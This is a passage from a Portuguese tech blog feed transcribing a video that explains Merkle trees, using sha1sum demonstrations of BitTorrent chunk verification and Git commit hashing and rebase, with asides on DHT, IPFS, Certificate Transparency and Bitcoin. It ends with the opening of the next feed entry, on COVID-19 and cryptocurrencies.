<p>Mas no mundo real tem várias razões de porque isso não é suficiente. Pra começar, via BitTorrent podemos trafegar arquivos de qualquer tamanho gigante, posso compartilhar diretórios inteiros com milhares de arquivos. Eu poderia fazer um torrent do C: inteiro do meu Windows se quisesse. E posso puxar pedaços de diversos nós diferentes no enxame de computadores participando na rede. Pra validar o hash de tudo, dessa forma, não seria prático. Imagine ter que computar o hashzão do seu HD inteiro pra saber se o que fiz download tá correto. Seria muito pesado, em alguns casos até inviável.</p>
<p>Em programação, você sempre vai bater nesse caso: pra um arquivo pequeno, com poucos kilobytes ou megabytes de tamanho, o esquema simples de um arquivo de hashes é mais que suficiente. Mas pra escala de internet, onde podemos querer lidar com gigabytes ou terabytes, milhares de arquivos num mesmo torrent, não vai escalar.</p>
<p>Pense assim, temos 10 hashes, um pra cada pedaço, e temos 1 hash mestre, que valida o arquivo completo inteiro. Eu recebo esses hashes e começo a fazer download de algum nó. Veio esse primeiro pedaço chunk_aa, o hash começa com c3bb. Eu rodo o comando sha1sum e vejo que, sim, o hash começa com c3bb mesmo. Bacana. Isso só garante que o pedaço é quem ele diz que é, mas como eu sei que de fato esse pedaço faz parte do arquivão inteiro?</p>
<p>A única forma é baixar todos os 10 pedaços, concatenar tudo, rodar o &ldquo;sha1sum&rdquo; pro arquivo gerado e comparar com o hash mestre. Só assim vou saber que todos os pedaços são realmente válidos pra esse arquivo, entenderam? Os hashes individuais não me dizem nada sobre o arquivo inteiro original. Eu tenho que confiar que o nó da rede, que me deu essa informação, não mentiu pra mim. Imagina se fosse um torrent como falei antes, com vários arquivos e muitos gigabytes. Eu só ia ter certeza que todos são válidos depois que baixar tudo.</p>
<p>Em BitTorrent, vocês já devem ter visto que podemos escolher baixar somente alguns dos arquivos e não todos. Então, de cara, esse esquema de só ter um hash mestre pra tudo não funciona. Eu preciso de hashes parciais, no mínimo um pra cada arquivo separado, não? E mesmo assim, preciso garantir que esse arquivo, uma vez que baixei os pedaços e montei, de fato faz parte do conjunto todo, sem ter que baixar o conjunto todo. Como faz?</p>
<p>Pra simplificar, vamos partir de novo do exemplo de 10 pedaços. Imagine que isso poderia ser um arquivo de milhares de pedaços e dezenas de arquivos em sub-diretórios. É uma simplificação, ok? Pois bem, começo organizando esses pedaços em pares. chunk_aa com chunk_ab, depois chunk_ac com chunk_ad e assim por diante. Pares de pedaços.</p>
<p>Agora pegamos o hash de cada par e concatenamos só eles. Por exemplo, o hash c3bb do chunk_aa com o hash 79a4 do chunk_ab. E gero o hash dessa combinação. Vai dar um hash que começa com &ldquo;0285&rdquo;. Faço a mesma coisa com os hashes do próximo par, vai dar um novo hash que começa com &ldquo;84de&rdquo; e continuo fazendo isso pros outros pares.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>/tmp/subtitle 
❯ echo &#34;c3bb4df901fb79af2421cc274e9db87309bf642479a5c1fb9a9708982a92009d874bd9ee3db65a31&#34; | sha1sum
0285f4ec89c694112c330ec20a571457a4e159f2  -

/tmp/subtitle 
❯ echo &#34;84de6f8eb80fc64628514500b8d6b09ff930bda52f68d9f1caffdfca69b28ae33348cdd0ca467474&#34; | sha1sum
05e420886ad96877bd78051df8a01c4a9414cc33  -

/tmp/subtitle 
❯ echo &#34;c644daae2adcc6c87b8b4ee91052535c50edbe4fde3471b65337f2ffb2d97bbd6ef45b1e95d6ba88&#34; | sha1sum
d9e3a713ccd57d87adb4ea04aede0cebdcc8fd8e  -

/tmp/subtitle 
❯ echo &#34;454093fda498e7f67cacb0919e3a5ffa579d0cb6a0d040c39213188382dc681d7a74da283bfb07c0&#34; | sha1sum
4c6b2637222b6a7cc9e52a3d5441dedcdf00b4e6  -

/tmp/subtitle 
❯ echo &#34;0469b41afb556f10c01cca5f099a81e6b5e17a3145fa07b4fdfea4a0a5c02abcad6520b652264a25&#34; | sha1sum
65c704fefd21e50f92df28de813ef2d3b4d7cff4  -</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>0285f4ec89c694112c330ec20a571457a4e159f2
05e420886ad96877bd78051df8a01c4a9414cc33
d9e3a713ccd57d87adb4ea04aede0cebdcc8fd8e
4c6b2637222b6a7cc9e52a3d5441dedcdf00b4e6
65c704fefd21e50f92df28de813ef2d3b4d7cff4</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No final vou ter 5 novos hashes. Agora repito o mesmo processo. Organizo pares de hashes, concateno e gero um novo hash pra cada par. Pego esse hash que começa com &ldquo;0285&rdquo; com o hash que começa com &ldquo;05e4&rdquo; e gero o hash que começa com &ldquo;9361&rdquo;. Faço isso pro segundo par. Só no terceiro par que vou ter problemas porque o último hash vai ficar sozinho. Não tem problema, gero o hash dele também, concatenado com vazio mesmo.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>/tmp/subtitle 
❯ echo &#34;0285f4ec89c694112c330ec20a571457a4e159f205e420886ad96877bd78051df8a01c4a9414cc33&#34; | sha1sum
9361c518dbcc3374c2d9a6c343dfa903f5226219  -

/tmp/subtitle 
❯ echo &#34;d9e3a713ccd57d87adb4ea04aede0cebdcc8fd8e4c6b2637222b6a7cc9e52a3d5441dedcdf00b4e6&#34; | sha1sum
910ec073793aafe29790941efe004c17debdc2d9  -

/tmp/subtitle 
❯ echo &#34;65c704fefd21e50f92df28de813ef2d3b4d7cff4&#34; | sha1sum
2924e53ff12eae61d88da7a0cca2967150881598  -</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Vamos repetir mais uma vez. Par de hashes &ldquo;9361&rdquo; com &ldquo;910e&rdquo; vai dar &ldquo;bdf3&rdquo; e o último hash é &ldquo;2354&rdquo;. E pronto. Chegamos ao final, temos só dois hashes resultantes. Geramos o hash da concatenação desses dois também. Vai dar um hash final que começa com &ldquo;f2fb&rdquo;. Esse hash é especial, é o que chamamos de Merkle Root ou Raiz Merkle. É o hash que engloba todos os outros hashes.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>/tmp/subtitle 
❯ echo &#34;9361c518dbcc3374c2d9a6c343dfa903f5226219910ec073793aafe29790941efe004c17debdc2d9&#34; | sha1sum
bdf3037c43dbe2cb7bf318a38948b3a504bea5d7  -

/tmp/subtitle 
❯ echo &#34;2924e53ff12eae61d88da7a0cca2967150881598&#34; | sha1sum
2354ddf1e76303140524dad59d5c2c3f418d87b7  -



/tmp/subtitle 
❯ echo &#34;bdf3037c43dbe2cb7bf318a38948b3a504bea5d72354ddf1e76303140524dad59d5c2c3f418d87b7&#34; | sha1sum
f2fb982d0f416376d64a7b451fa2d2176bf45ca8  -</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>chunk_aa c3bb
chunk_ab 79a5  0285
chunk_ac 84de
chunk_ad 2f68  05e4  9361
chunk_ae c644
chunk_af de34  d9e3
chunk_ag 4540
chunk_ah a0d0  4c6b  910e  bdf3
chunk_ai 0469
chunk_aj 45fa   65c7  2924  2354  f2fb</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Antes, se eu só tivesse o hash mestre, precisaria de todos os 10 hashes de cada pedaço pra saber se tá tudo correto. Mas nesse esquema da árvore de Merkle, digamos que eu queira saber se o pedaço &ldquo;aa&rdquo; que acabei de baixar realmente faz parte do arquivo final, sem baixar os outros pedaços, como eu faço? Peço pro servidor somente os hashes do irmão &ldquo;ab&rdquo;, com isso consigo calcular &ldquo;aa&rdquo; e &ldquo;ab&rdquo; como fiz antes. Daí preciso que o servidor me mande os 4 hashes &ldquo;acad&rdquo;, &ldquo;aeaf&rdquo;, &ldquo;agah&rdquo;, &ldquo;aiaj&rdquo;.</p>
<p>Tendo somente esses 4 hashes, mais o hash do pedaço &ldquo;aa&rdquo;, consigo recalcular a árvore e achar a raiz Merkle e comparar com o que o servidor me indicou. Se bater, quer dizer que esse pedaço que baixei faz parte do arquivo final. Repetindo: eu diminuí a necessidade de precisar de todos os 10 hashes pra somente 4 hashes, sacaram?</p>
<p>De novo, é um exemplo super pequeno e simples só pra caber aqui na tela. Mas veja aquele exemplo da ISO do Manjaro, lembram? Eram quase mil e oitocentos pedaços. Se eu baixar só um pedaço, pra garantir que ele faz realmente parte do ISO original, precisaria calcular o hash mestre usando todos os quase mil e oitocentos hashes. Mas organizado numa árvore, precisaria só de uns log2(2048) que dá 11.</p>
<p>A árvore precisa ser balanceada, e o próximo número acima de mil e oitocentos que balanceia uma árvore binária é 2048. Enfim, eu preciso que o servidor me mande a raiz Merkle que ele tem pré-calculado e 11 hashes dessa árvore, mais ou menos. Não é um número exato esse log. Mas entenda que 11 é uma ordem de grandeza menos hashes do que mil e oitocentos. Mesmo nesse exemplo simples de só uma ISO de Manjaro, já temos um ganho significativo.</p>
<p>BitTorrent não foi criado com árvores Merkle, isso é uma coisa mais recente. Da mesma forma que hoje não precisaria de trackers por causa de DHT e PEX. É uma tecnologia ainda em evolução. Lembram do que eu falei no video sobre bancos de dados: árvores são as estruturas de dados mais importantes da computação, tudo são árvores. Nesse caso, árvores binárias, mas já falei de B-trees ou B+Trees em sistemas de arquivos. Assistam meu video de Árvores depois.</p>
<p>Sabe que outro programa se beneficia de árvores Merkle? Git. O que são commits? São diffs com trechos de arquivos de código fonte, mais metadados, como nome do arquivo, autor da modificação, datas. Uma característica importante de um commit é que ele é identificado por um hash, um SHA1 do seu conteúdo. É como sabemos que o conteúdo não foi adulterado, da mesma forma como fizemos pra checar os chunks do download via BitTorrent.</p>
<p>Mas um commit de Git tem outra característica importante: ele contém o SHA1 do commit pai anterior. Por isso commits formam uma cadeia, mais especificamente, uma árvore. Objetos de árvore de diretórios também tem SHA1 dos objetos filho. Tudo isso forma um DAG, um direct acyclic graph ou grafo direcionado não cíclico, mais especificamente um Merkle DAG.</p>
<p>Uma característica importante é que como todo commit contém o SHA1 do commit anterior, é impossível modificar só um commit no meio da árvore. Precisaria reescrever todos os commits na frente e regerar SHA1 novos pra todos. É o que chamamos de &ldquo;reescrever a história&rdquo;. Vocês já devem ter ouvido falar disso em discussões se é melhor fazer merge ou rebase e todo mundo é contra fazer rebases na master porque isso &ldquo;reescreve a história&rdquo;. É isso que significa reescrever a história: tem que regerar o SHA1 de todos os commits pra frente.</p>
<p>Deixa eu mostrar rapidamente com um exemplo. Vamos iniciar um novo repositório com &ldquo;git init&rdquo; e criar um arquivo de teste idiota só pra criar o primeiro commit.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>❯ git init
hint: Using &#39;master&#39; as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint: 
hint:  git config --global init.defaultBranch &lt;name&gt;
hint: 
hint: Names commonly chosen instead of &#39;master&#39; are &#39;main&#39;, &#39;trunk&#39; and
hint: &#39;development&#39;. The just-created branch can be renamed via this command:
hint: 
hint:  git branch -m &lt;name&gt;
Initialized empty Git repository in /tmp/teste/.git/



teste on  master 
❯ echo &#34;hello world&#34; &gt; hello.txt

teste on  master [?] 
❯ git a .

teste on  master [&#43;] 
❯ git c &#34;initial commit&#34;
[master (root-commit) 308ba8d] initial commit
 1 file changed, 1 insertion(&#43;)
 create mode 100644 hello.txt</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Fazendo &ldquo;git log&rdquo; vemos o commit identificado pelo hash que começa com &ldquo;4b4c&rdquo;. Agora vamos criar um novo branch chamado &ldquo;teste&rdquo;, modificar o arquivo e criar um novo commit.
No caso criou um novo commit identificado pelo hash que começa com &ldquo;65c2&rdquo;. (no exemplo abaixo está com outro hash porque refiz o exemplo e a mudança de data gera hashes diferentes)</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>commit 1eb601ac03c713abaa08fd54e002eec04ee66922 (HEAD -&gt; teste)
Author: AkitaOnRails &lt;fabioakita@gmail.com&gt;
Date:   Thu Aug 24 11:54:32 2023 -0300

    adding hello again

commit 308ba8d7ee9ac84c6b318393614203e2b905f0f4 (master)
Author: AkitaOnRails &lt;fabioakita@gmail.com&gt;
Date:   Thu Aug 24 11:53:28 2023 -0300

    initial commit</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Agora vou voltar pro branch master, criar um novo arquivo qualquer e gravar em outro commit. Veja só, criou esse commit com hash que começa com &ldquo;9431&rdquo;. Agora, em vez de merge vou fazer rebase do branch teste em cima do branch master com &ldquo;git rebase teste&rdquo;. Como não fiz nada demais, vai terminar sem nenhum conflito.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>commit 921bb4796a2545fabc87324b5a8fa069d53201f2 (HEAD -&gt; master)
Author: AkitaOnRails &lt;fabioakita@gmail.com&gt;
Date:   Thu Aug 24 11:55:16 2023 -0300

    adding foo

commit 1eb601ac03c713abaa08fd54e002eec04ee66922 (teste)
Author: AkitaOnRails &lt;fabioakita@gmail.com&gt;
Date:   Thu Aug 24 11:54:32 2023 -0300

    adding hello again

commit 308ba8d7ee9ac84c6b318393614203e2b905f0f4
Author: AkitaOnRails &lt;fabioakita@gmail.com&gt;
Date:   Thu Aug 24 11:53:28 2023 -0300

    initial commit</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Fazemos &ldquo;git log&rdquo; e olha só, o commit que eu tinha acabado de fazer, que tinha o hash começando em &ldquo;9431&rdquo; agora começa com &ldquo;ee00&rdquo;. Isso porque antes, o commit anterior era o &ldquo;initial commit&rdquo; com hash &ldquo;4b4c&rdquo;. Como fiz rebase, ele trouxe o commit &ldquo;adding hello again&rdquo; de hash &ldquo;65c2&rdquo;, que passa a ser o novo pai do commit &ldquo;adding teste&rdquo;, portanto o hash desse commit tem que ser recalculado e por isso mudou pra &ldquo;ee00&rdquo;, ou seja, acabamos de reescrever a história.</p>
<p>Esse conceito é muito importante. Ao colocar o SHA1 do commit anterior no commit atual, criamos uma dependência entre esses dois objetos. Se o objeto anterior mudar, se seu hash mudar, o hash do objeto seguinte vai ser invalidado e precisa ser recalculado também. Não dá pra simplesmente entuchar um commit no meio da cadeia sem consequências e é isso que garante a integridade do código fonte armazenado nesse repositório.</p>
<p>Se alguém tentar adulterar um commit lá atrás no passado, ele vai ser obrigado a fazer rebase de tudo pra frente, ou seja, recalcular o SHA1 de todo mundo. Daí todo mundo vai imediatamente saber que o repositório foi modificado, porque os IDs de tudo vão estar diferentes. É onde temos que lidar com conflitos depois. Se você nunca parou pra entender como o Git realmente funciona, recomendo que assista meu video de &ldquo;Entendendo Git&rdquo;.</p>
<p>Entenda, ter um Merkle Tree não impede que um commit seja adulterado. Só torna mais fácil de identificar quando for. E torna mais barato fazer os cálculos pra chegar nessa conclusão, do que ter que checar o SHA1 de 100% de tudo. No caso de Git, que é um repositório decentralizado, digamos que era uma equipe de 5 pessoas. Uma delas faz pull do GitHub e nota que alguém fez merda e deu &ldquo;push &ndash;force&rdquo; de um rebase gigante que reescreveu centenas de commits.</p>
<p>Você consegue ver que isso aconteceu e consegue ligar pra um dos outros colegas que ainda não fez &ldquo;pull&rdquo; e pedir pra ele dar um novo &ldquo;push &ndash;force&rdquo; pra recuperar o histórico como era antes e eliminar a cagada. O fato de termos várias cópias do mesmo repositório nas máquinas de todo mundo é um tipo de backup. Se o repositório elegido como principal ficou zoado, tem formas de recuperar. E não precisa sobrescrever tudo, só a partir do commit onde deu rebase, entenderam?</p>
<p>Existem várias discussões sobre centralizadores de Git como GitHub ou GitLab. Eles centralizaram a confiança de Git neles, mas Git originalmente não era pra ter um ponto único de falha. Você pode fazer git clone do repositório de alguém localmente, num pendrive, como mostrei no episódio anterior. Não precisa obrigatoriamente ter que fazer git clone de um repositório do GitHub. Isso é outra discussão, só pra vocês saberem que Git também foi feito pra ser distribuído, mas hoje em dia usamos centralizado num GitHub da vida.</p>
<p>Voltando pro exemplo de BitTorrent. Como qualquer computador na internet pode participar do compartilhamento de arquivos, sim, algum computador malicioso poderia começar a tentar espalhar binários adulterados. Mas o principal é o arquivo .torrent ou link magnético que aponta pra algum nó que normalmente confiamos, que vai nos fornecer a árvore Merkle com os hashes. Tendo os hashes, conseguimos checar se os pedaços que baixamos são válidos ou não.</p>
<p>Esses hashes são organizados numa tabelona, mais especificamente numa tabela distribuída, ou Distributed Hash Table, o DHT que eu fico falando. Pra quem é desenvolvedor web, é parecido com um DynamoDB. Cada item nessa tabelona ganha um ID longo de 160 bits. E os possíveis IDs são particionados entre os diversos nós da rede, de tal forma que cada nó só é responsável por um pedaço do espaço de IDs possíveis.</p>
<p>Toda vez que algum nó precisa registrar alguma coisa, ele gera uma chave e com isso determina qual nó que é responsável pelo espaço de IDs que essa nova chave faz parte, e manda pra esse nó. Mesma coisa pra pesquisar dados na tabela, tendo o ID pra consultar, ele pergunta pro nó responsável por esse intervalo de IDs.</p>
<p>Uma rede de BitTorrent é gigantesca, milhares ou milhões de nós ao mesmo tempo. É impossível meu computador saber quais são todos os nós ativos neste exato momento no mundo. Em vez disso, cada nó mantém um tipo de tabela de roteamento com informações sobre um sub-conjunto dos nós na rede, preferencialmente os mais &ldquo;próximos&rdquo; do espaço de IDs. Quando alguém pede pro seu nó gravar ou ler um certo ID mas você não é o responsável, dá pra usar essa tabela de roteamento pra redirecionar pro nó certo.</p>
<p>E claro, um nó pode simplesmente desaparecer do nada. Como cada nó pode ser um computador caseiro, alguém pode desligar o PC e sair da rede. Por isso essas informações são redundantes entre vários nós. Os algoritmos de DHT e roteamento vão se balanceando e atualizando dinamicamente com nós entrando e nós saindo.</p>
<p>Se isso pareceu similar a um banco de dados NoSQL distribuído como Amazon DynamoDB ou Cassandra, é porque é. Uns três ou quatro episódios atrás eu expliquei como funcionam chaves distribuídas, depois assistam. BitTorrent não deixa de ser um grande banco de dados NoSQL distribuído. São tecnologias similares. Toda vez que você abre um programa como Transmission ou QBitTorrent pra baixar alguma coisa, está participando dessa coordenação toda e se tornando um nó réplica de um grande banco de dados NoSQL distribuído. Você só não sabia disso.</p>
<p>Diferente de um banco de dados, eu não preciso que todos os dados que já foram gravados num DHT, permaneçam lá pra sempre. Arquivos novos aparecem, arquivos que ninguém mais quer desaparecem. Se não tem ninguém compartilhando algum determinado arquivo, não preciso ter informações dele trafegando. Seria ineficiente. Só interessa arquivos que alguém está compartilhando.</p>
<p>Num Git não, eu preciso que tudo que os desenvolvedores do projeto fizeram, seja adicionar novos arquivos, modificar existentes, ou até apagar, esteja devidamente registrado no log de commits do repositório, e que seja possível voltar pra qualquer momento no passado e ter tudo intacto, exatamente como era. Não pode ser parcial. Por outro lado, não pode ficar no caminho do desenvolvedor e adicionar obstáculos. Se o desenvolvedor achar que quer reescrever a história, precisa deixar.</p>
<p>A resiliência do Git aparece numa equipe, com mais de uma pessoa. Basta ter mais um desenvolvedor que tem como comparar os repositórios nas máquinas de cada um e ver que houve problemas. Basta checar os hashes dos commits. Se tiver 3 desenvolvedores já temos como fazer um tipo rudimentar de consenso: o que tiver o histórico mais diferente tá errado.</p>
<p>Eu só expliquei os conceitos bem básicos, tem bem mais detalhes por trás pra vocês pesquisarem depois. Árvores Merkle são úteis pra BitTorrent e pra Git, mas também são usados em outros lugares. O sistema de arquivos ZFS, que é usado no TrueNAS pra grandes servidores de armazenamento também usa árvores Merkle pra detectar corrupção de dados e ter a funcionalidade de snapshots com pouco overhead.</p>
<p>Outras redes ponto a ponto como o IPFS, que é o InterPlanetary File System, um sistema de arquivos distribuídos global, usa árvores Merkle, mais especificamente Merkle DAGs como Git. Não só sistemas de arquivos, mas bancos de dados distribuídos como Cassandra ou Riak usam árvores de Merkle pra minimizar a quantidade de dados que precisam ser transmitidos pra sincronização de dados.</p>
<p>No começo do video eu mostrei a cadeia de certificados e como o certificado do meu domínio é assinado pela Letsencrypt que, por sua vez é assinado pela ISRG. O protocolo TLS usa uma variante de árvore de Merkle chamada Merkle Hash Tree, no framework de Certificado de Transparência pra fornecer um log auditável de certificados gerados. E essa característica é importante: qualquer coisa que precise ser auditável pode usar árvores Merkle pra oferecer &ldquo;prova de inclusão&rdquo;, de forma que é possível provar que um pedaço de dados faz parte de um determinado conjunto, sem revelar o conjunto inteiro.</p>
<p>E se você já parou pra estudar o básico de Bitcoin e outras criptomoedas, já deve ter se deparado com Árvores Merkle e Merkle Root. É o que está na raíz do bloco de transações da tal de blockchain. Um blockchain e um repositório Git ou a árvore de merkle de Bit Torrent são muito parecidos: eles garantem que não dá pra adulterar um bloco sozinho, sem precisar re-gerar todos os blocos à frente dele. Com um ingrediente a mais: o tal processo de mineração. Em Git, um rebase é uma operação razoavelmente rápida.</p>
<p>Mas num blockchain de Bitcoin, o equivalente de rebase de Git custa absurdamente caro, astronomicamente caro na real, o que garante que é perto de impossível fazer um rebase. É isso que torna o blockchain interessante. Um blockchain onde é barato fazer rebase não é diferente de um Git e, como reserva de valor, não vale nada. Tudo que expliquei neste episódio são as tecnologias que estão na fundação do Bitcoin.</p>
<p>Se conseguiram chegar até aqui, nós vimos na prática como encriptação com chaves simétrica funciona. Aprendemos como funciona troca de chaves usando criptografia assimétrica. Vimos como quebrar arquivos e trafegar pedaços de uma forma que conseguimos checar se os pedaços vieram corretamente e vimos como BitTorrent e Git funcionam com árvores Merkle. Tudo em computação moderna usa esses conceitos, em particular certificados digitais TLS, bancos de dados NoSQL e até Bitcoin, por isso é importante estudarem tudo. Se ficaram com dúvida deixem nos comentários abaixo, se curitram o video mandem um joinha, assinem o canal e não deixem de compartilhar com seus amigos. A gente se vê, até mais!</p>
]]></content:encoded><category>seguranca</category><category>bitcoin-e-criptomoedas</category><category>controle-de-versao</category><category>akitando</category></item><item><title>[Akitando] #77 - A COVID-19 matou minha Startup? | Entendendo Criptomoedas</title><link>https://akitaonrails.github.io/2020/04/15/akitando-77-a-covid-19-matou-minha-startup-entendendo-criptomoedas/</link><guid isPermaLink="true">https://akitaonrails.github.io/2020/04/15/akitando-77-a-covid-19-matou-minha-startup-entendendo-criptomoedas/</guid><pubDate>Wed, 15 Apr 2020 10:30:00 -0300</pubDate><description>&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/Y8SaMX30X1g"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;h3&gt;DESCRIÇÃO&lt;span class="hx:absolute hx:-mt-20" id="descrição"&gt;&lt;/span&gt;
&lt;a href="#descri%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;ERRATA pré-lançamento: antes do video sair eu já vi que os dados que eu falei no video estão desatualizados. Fonte: &lt;a href="https://www.crescat.net/crescat-capital-quarterly-investor-letter-q1-2020/"target="_blank" rel="noopener"&gt;https://www.crescat.net/crescat-capital-quarterly-investor-letter-q1-2020/&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;desemprego nos EUA já está na casa dos 17 milhões e não os 6.6 que são do fim de março&lt;/li&gt;
